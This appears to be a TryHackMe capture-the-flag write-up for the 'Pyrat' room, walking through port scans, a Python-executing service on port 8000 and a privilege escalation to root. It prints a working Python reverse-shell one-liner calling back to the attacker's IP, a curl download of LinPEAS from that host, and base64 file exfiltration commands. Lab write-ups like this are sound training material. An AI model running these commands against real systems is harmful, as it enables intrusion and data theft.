ctfs.anthonyjsaab.com
  • CTF writeups
  • TryHackMe
    • ๐Ÿƒโ€โ™‚๏ธBacktrack
    • ๐Ÿง Brainpan 1
    • ๐Ÿดโ€โ˜ ๏ธCapture!
    • ๐ŸˆCat Pictures 2
    • ๐ŸŽจCreative
    • ๐ŸฅฝCyberLens
    • ๐Ÿ’คDreaming
    • ๐Ÿ”ฆExpose
    • ๐Ÿ“Include
    • ๐Ÿค–Lookup
    • ๐ŸฐmKingdom
    • ๐Ÿ‘บMustacchio
    • ๐ŸชŸOpacity
    • ๐Ÿ€Pyrat
    • ๐Ÿ‡Rabbit Hole
    • ๐ŸงฑTryHack3M: Bricks Heist
    • ๐ŸŒ„Valley
    • ๐ŸคจWhats Your Name?
Powered by GitBook
On this page
  • License
  • 0 - Introduction
  • 1 - Port Scans
  • 1a - Discovery
  • 1b - Versions and OS
  • 2 - Port 8000
  • 2a - Inspecting
  • 2b - Crafting a "basic" request
  • 2c - HTTP0.9?
  • 2d - Python!
  • 2e - Foothold
  • 3 - PrivEsc
  • 3a - LinPEAS
  • 3b - SMTP?
  • 3c - Exfiltrating dev
  • 3d - Will Git Get the Rat?
  • 3e - Mysterious Endpoint
  • 3f - Are we there yet?
  • 3g - Finally! ROOT

Was this helpful?

  1. TryHackMe

Pyrat

PreviousOpacityNextRabbit Hole

Last updated 8 months ago

Was this helpful?

License

The following post by anthonyjsaab is licensed under

0 - Introduction

1 - Port Scans

1a - Discovery

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ sudo nmap -T4 -p- pyrat.thm
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 06:46 EEST
Nmap scan report for pyrat.thm (10.10.70.142)
Host is up (0.10s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt

Nmap done: 1 IP address (1 host up) scanned in 251.27 seconds

1b - Versions and OS

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ sudo nmap -A -p22,8000 pyrat.thm
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 06:51 EEST
Nmap scan report for pyrat.thm (10.10.70.142)
Host is up (0.10s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
8000/tcp open  http-alt SimpleHTTP/0.6 Python/3.11.2
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop: 
|     source code string cannot contain null bytes
|   FourOhFourRequest, LPDString, SIPOptions: 
|     invalid syntax (<string>, line 1)
|   GetRequest: 
|     name 'GET' is not defined
|   HTTPOptions, RTSPRequest: 
|     name 'OPTIONS' is not defined
|   Help: 
|_    name 'HELP' is not defined
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.94SVN%I=7%D=10/3%Time=66FE14D3%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,1,"\n")%r(GetRequest,1A,"name\x20'GET'\x20is\x20not\x20de
SF:fined\n")%r(X11Probe,2D,"source\x20code\x20string\x20cannot\x20contain\
SF:x20null\x20bytes\n")%r(FourOhFourRequest,22,"invalid\x20syntax\x20\(<st
SF:ring>,\x20line\x201\)\n")%r(Socks4,2D,"source\x20code\x20string\x20cann
SF:ot\x20contain\x20null\x20bytes\n")%r(HTTPOptions,1E,"name\x20'OPTIONS'\
SF:x20is\x20not\x20defined\n")%r(RTSPRequest,1E,"name\x20'OPTIONS'\x20is\x
SF:20not\x20defined\n")%r(DNSVersionBindReqTCP,2D,"source\x20code\x20strin
SF:g\x20cannot\x20contain\x20null\x20bytes\n")%r(DNSStatusRequestTCP,2D,"s
SF:ource\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(Hel
SF:p,1B,"name\x20'HELP'\x20is\x20not\x20defined\n")%r(LPDString,22,"invali
SF:d\x20syntax\x20\(<string>,\x20line\x201\)\n")%r(SIPOptions,22,"invalid\
SF:x20syntax\x20\(<string>,\x20line\x201\)\n")%r(LANDesk-RC,2D,"source\x20
SF:code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(NotesRPC,2D,
SF:"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(J
SF:avaRMI,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20byt
SF:es\n")%r(afp,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\
SF:x20bytes\n")%r(giop,2D,"source\x20code\x20string\x20cannot\x20contain\x
SF:20null\x20bytes\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (93%), Linux 2.6.32 (93%), Linux 2.6.39 - 3.2 (93%), Linux 3.1 - 3.2 (93%), Linux 3.2 - 4.9 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   105.81 ms 10.11.0.1
2   114.93 ms pyrat.thm (10.10.70.142)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 179.83 seconds

2 - Port 8000

2a - Inspecting

When first trying to access port 8000 with an up-to-date Firefox browser, we get this:

2b - Crafting a "basic" request

It seems the server needs a more carefully crafted HTTP request. Copying the request as a cURL command from the Network Tab in Firefox's Developer Tools, we get this:

curl 'http://pyrat.thm:8000/' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1'

After gradually deleting all the headers, we get this:

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ curl 'http://pyrat.thm:8000/' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H 'Accept:' -H 'Accept-Language:' -H 'Accept-Encoding:' -H 'Connection:' -H 'Upgrade-Insecure-Requests:'    
Try a more basic connection                                                                                                              
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ curl 'http://pyrat.thm:8000/' -H 'User-Agent:' -H 'Accept:' -H 'Accept-Language:' -H 'Accept-Encoding:' -H 'Connection:' -H 'Upgrade-Insecure-Requests:' 
Try a more basic connection                                                                                                              
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ curl 'http://pyrat.thm:8000/' -H 'User-Agent:' -H 'Accept:' -H 'Accept-Language:' -H 'Accept-Encoding:' -H 'Connection:' -H 'Upgrade-Insecure-Requests:' -H 'Host:'
curl: (1) Received HTTP/0.9 when not allowed

It seems the server is trying to communicate with us using HTTP/0.9.

2c - HTTP0.9?

An example provided on that same site:

Request:

GET /index.html

Response:

<html>
Welcome to the example.re homepage!
</html>

After reading curl's manual pages, we notice that we can allow HTTP/0.9 response with a flag. Trying again:

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ curl 'http://pyrat.thm:8000/' -H 'User-Agent:' -H 'Accept:' -H 'Accept-Language:' -H 'Accept-Encoding:' -H 'Connection:' -H 'Upgrade-Insecure-Requests:' -H 'Host:' --http0.9
name 'GET' is not defined

If an error occurred then the server will generate a situation-specific HTML file that the client will present to the user to describe the issue.

Whoever, this is not what we see. The server might not be using HTTP/0.9 after all. cURL might have misidentified it because no headers where being sent, which is only typical of HTTP/0.9.

2d - Python!

"name 'GET' is not defined" is a very familiar error. I had to be sure:

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ python                  
Python 3.11.9 (main, Apr 10 2024, 13:16:36) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> foo
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'foo' is not defined

I am now almost certain that the server is executing my request in a Python console and returning the console outputs! Testing the theory:

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ nc pyrat.thm 8000
print(1+1)
2

2e - Foothold

Bingo! Knowing this, I went to revshells.com and got the simplest Python reverse shell command:

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ nc pyrat.thm 8000
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.85.12",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

The command hanged!

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.11.85.12] from (UNKNOWN) [10.10.70.142] 40214
$ whoami
whoami
www-data

3 - PrivEsc

3a - LinPEAS

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.11.85.12] from (UNKNOWN) [10.10.70.142] 35132
$ cd /tmp 
cd /tmp
$ curl http://10.11.85.12/linpeas.sh -o linpeas.sh
curl http://10.11.85.12/linpeas.sh -o linpeas.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  805k  100  805k    0     0   740k      0  0:00:01  0:00:01 --:--:--  740k
$ chmod u+x lin*
chmod u+x lin*
$ ./linpeas.sh > www-enum.txt
./linpeas.sh > www-enum.txt
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

To be able to read the outputs correctly, I will have to exfiltrate the www-enum.txt file to my Kali machine:

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ nc pyrat.thm 8000 > 64-www-enum.txt
import base64;namehandle = open("/tmp/www-enum.txt", "rb");base64_bytes = base64.b64encode(namehandle.read());namehandle.close();print(base64_bytes.decode("ascii"))                                                                                                     
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ cat 64-www-enum.txt | base64 -d > www-enum.txt 

3b - SMTP?

From LinPEAS' output, we can see that an internal SMTP server and an internal DNS server are hosted:

โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•ฃ Active Ports
โ•š https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:8000            0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 ::1:25                  :::*                    LISTEN      -                   

Reading the emails:

$ cat /var/spool/mail/think
cat /var/spool/mail/think
From root@pyrat  Thu Jun 15 09:08:55 2023
Return-Path: <root@pyrat>
X-Original-To: think@pyrat
Delivered-To: think@pyrat
Received: by pyrat.localdomain (Postfix, from userid 0)
        id 2E4312141; Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
Subject: Hello
To: <think@pyrat>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20230615090855.2E4312141@pyrat.localdomain>
Date: Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
From: Dbile Admen <root@pyrat>

Hello jose, I wanted to tell you that i have installed the RAT you posted on your GitHub page, i'll test it tonight so don't be scared if you see it running. Regards, Dbile Admen

Quickly looking at the enum output reveals that the 8000 server is the RAT mentioned above:

3c - Exfiltrating dev

Trying to read /root/pyrat.py or anything related to it in /proc have proved unsuccessful. However, we know that it is think@pyrat who wrote the code. Additionally, we have found an unusual folder in /opt belonging to think@pyrat (using LinPEAS). It might contain the source code!

www-data@Pyrat:/opt$ ls -la
ls -la
total 12
drwxr-xr-x  3 root  root  4096 Jun 21  2023 .
drwxr-xr-x 18 root  root  4096 Dec 22  2023 ..
drwxrwxr-x  3 think think 4096 Jun 21  2023 dev
www-data@Pyrat:/opt$ cd dev
cd dev
www-data@Pyrat:/opt/dev$ ls -la
ls -la
total 12
drwxrwxr-x 3 think think 4096 Jun 21  2023 .
drwxr-xr-x 3 root  root  4096 Jun 21  2023 ..
drwxrwxr-x 8 think think 4096 Jun 21  2023 .git

Sadly, the folder is empty. Or is it? The dev folder is a local git repo since the .git folder is present. Let's check its commits:

www-data@Pyrat:/opt/dev$ git status
git status
fatal: detected dubious ownership in repository at '/opt/dev'
To add an exception for this directory, call:

	git config --global --add safe.directory /opt/dev
www-data@Pyrat:/opt/dev$ git log
git log
fatal: detected dubious ownership in repository at '/opt/dev'
To add an exception for this directory, call:

	git config --global --add safe.directory /opt/dev
www-data@Pyrat:/opt/dev$ git config --global --add safe.directory /opt/dev
git config --global --add safe.directory /opt/dev
warning: unable to access '/root/.gitconfig': Permission denied
warning: unable to access '/root/.config/git/config': Permission denied
error: could not lock config file /root/.gitconfig: Permission denied
www-data@Pyrat:/opt/dev$ 

Unfortunately, the protection mechanisms of Git aren't allowing us to interact with the .git folder through the git program. However, we still have read permissions inside!

www-data@Pyrat:/opt/dev$ ls -la .git
ls -la .git
total 52
drwxrwxr-x 8 think think 4096 Jun 21  2023 .
drwxrwxr-x 3 think think 4096 Jun 21  2023 ..
drwxrwxr-x 2 think think 4096 Jun 21  2023 branches
-rw-rw-r-- 1 think think   21 Jun 21  2023 COMMIT_EDITMSG
--SNIP--
drwxrwxr-x 7 think think 4096 Jun 21  2023 objects
drwxrwxr-x 4 think think 4096 Jun 21  2023 refs

This means we can compress the dev folder and exfiltrate it to kali where we can easily workaround the protection mechanism and see the commits!

www-data@Pyrat:/opt$ tar -czvf /tmp/dev.tar dev/  
tar -czvf /tmp/dev.tar dev/
dev/
dev/.git/
--SNIP--
dev/.git/refs/heads/master
dev/.git/refs/tags/
dev/.git/index

We will exfiltrate the tar file in the same way we did with the www-enum.txt file:

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ nc pyrat.thm 8000 > dev.tar.b64               
import base64;namehandle = open("/tmp/dev.tar", "rb");base64_bytes = base64.b64encode(namehandle.read());namehandle.close();print(base64_bytes.decode("ascii"))
^C
                                                                                             
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ cat dev.tar.b64| base64 -d > dev.tar          

3d - Will Git Get the Rat?

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ tar -xvf dev.tar                     
dev/
dev/.git/
dev/.git/objects/
--SNIP--
dev/.git/refs/tags/
dev/.git/index

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ cd dev
                                                                                             
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/dev]
โ””โ”€$ ls -la
total 12
drwxrwxr-x  3 kali kali 4096 Jun 21  2023 .
drwx------ 24 kali kali 4096 Oct  3 10:00 ..
drwxrwxr-x  8 kali kali 4096 Jun 21  2023 .git
                                                                                             
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/dev]
โ””โ”€$ git status                                        
On branch master
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
	deleted:    pyrat.py.old

no changes added to commit (use "git add" and/or "git commit -a")
                                                                                             
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/dev]
โ””โ”€$ git restore pyrat.py.old                          
                                                                                             
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/dev]
โ””โ”€$ git log                 
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date:   Wed Jun 21 09:32:14 2023 +0000

    Added shell endpoint

Reading pyrat.py.old:

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/dev]
โ””โ”€$ cat pyrat.py.old 
...............................................

def switch_case(client_socket, data):
    if data == 'some_endpoint':
        get_this_enpoint(client_socket)
    else:
        # Check socket is admin and downgrade if is not aprooved
        uid = os.getuid()
        if (uid == 0):
            change_uid()

        if data == 'shell':
            shell(client_socket)
        else:
            exec_python(client_socket, data)

def shell(client_socket):
    try:
        import pty
        os.dup2(client_socket.fileno(), 0)
        os.dup2(client_socket.fileno(), 1)
        os.dup2(client_socket.fileno(), 2)
        pty.spawn("/bin/sh")
    except Exception as e:
        send_data(client_socket, e

...............................................

It appears that the complete code is not saved in this repository; only a few lines are available. However, these lines provide a good understanding of what's happening, particularly why root is executing /root/pyrat.py even though we donโ€™t have root privileges ourselves (because of the change_uid() function).

3e - Mysterious Endpoint

Trying out some inputs based on the observations from the source code snippet, we get this:

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/dev]
โ””โ”€$ nc pyrat.thm 8000
some_endpoint
name 'some_endpoint' is not defined
shell
$ id  
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

It seems the recovered part of the source code is mostly still valid. When we type 'shell', we actually get a shell like the code says!

However, the placeholder 'some_endpoint' seems to have been changed. After reading the comments in the code carefully, and with some trial and error, I discover that the 'some_endpoint' placeholder was replaced with 'admin'. However, we do not really know what this will do. We only know that it might give us something better. If we type anything else, we are sure to get a low privileged shell. Also, it turns out that there is still an obstacle left:

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/dev]
โ””โ”€$ nc pyrat.thm 8000              
admin
Password:
admin
Password:
test
Password:
jose

3f - Are we there yet?

Since the script is proving to be quite challenging, I thought it would be much easier if I had access to the entire code. Thatโ€™s when I remembered the email we saw earlier:

Hello jose, I wanted to tell you that i have installed the RAT you posted on your GitHub page, i'll test it tonight so don't be scared if you see it running. Regards, Dbile Admen

Also, the git log command gave us great info about the author:

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/dev]
โ””โ”€$ git log                 
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date:   Wed Jun 21 09:32:14 2023 +0000

    Added shell endpoint

With this username in mind, I headed to the profile on GitHub:

The entire code can be seen here:

There was a hardcoded password, but it was a placeholder and was not the one actually used on our target. The most important part is here:

def switch_case(client_socket, data):
    if data == 'admin':
        get_admin(client_socket)
    else:
        # Check socket is admin and downgrade if is not aprooved
        uid = os.getuid()
        if (uid == 0) and (str(client_socket) not in admins):
            change_uid()
        if data == 'shell':
            shell(client_socket)
            remove_socket(client_socket)
        else:
            exec_python(client_socket, data)

3g - Finally! ROOT

It seems the pyrat.py.old was outdated. The if statement that would trigger change_uid() has changed. Now, if str(client_socket) is in admins, root access won't be taken from me!

How can I do that? Well:

def get_admin(client_socket):
    global admins

Since admins is a global variable, I will be able to change it because I will not be executing Python commands in a subshell, but rather in the actual original process (exec_python case)

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ nc -p 33333 pyrat.thm 8000 
print(admins)
[]

print(str(client_socket))
<socket.socket fd=7, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('10.10.197.59', 8000), raddr=('10.11.85.12', 33333)>

admins.append(str(client_socket))

print(str(client_socket) in admins)
True

admin
Start a fresh client to begin.
^C
                                                                                                                                                                                                                                      
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ nc -p 33333 pyrat.thm 8000
print(str(client_socket) in admins)
True

shell
# id
id
uid=0(root) gid=0(root) groups=0(root)
# ^C
                                                                                                                        
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ nc -p 33333 pyrat.thm 8000
shell
$ 

I got root!

Note how if I sent 'shell' as the first command, it would be game overโ€”I would end up in a subprocess with root access taken away for good. Instead, I allowed the first switch_case() call to reach exec_python. The second call then goes to shell() without stepping into change_uid() during the entire nc session.

Also, notice how I used the -p parameter in nc to ensure that I was using the same source port that had been previously added to the admin's list.

Created by , and

From , we can learn that:

HTTP/0.9 was the original release and it was extremely simple, supporting only the HTTP method. Only HTML files were included in HTTP responses, there were no , and there were no .

This is strange. Why wouldn't this work? And why isn't the server responding with a proper HTML file? Even if my request is wrong, according to :

That's all!

๐Ÿ€
๐ŸŽ‰
tryhackme
josemlwdf
https://http.dev/0.9
GET
HTTP headers
HTTP status codes
https://http.dev/0.9
CC BY 4.0
PyratTryHackMe
Machine version: Pyrat v1.1
https://raw.githubusercontent.com/josemlwdf/PyRAT/refs/heads/main/pyrat.py
Logo
Landing page
Simple Landing page HTTP request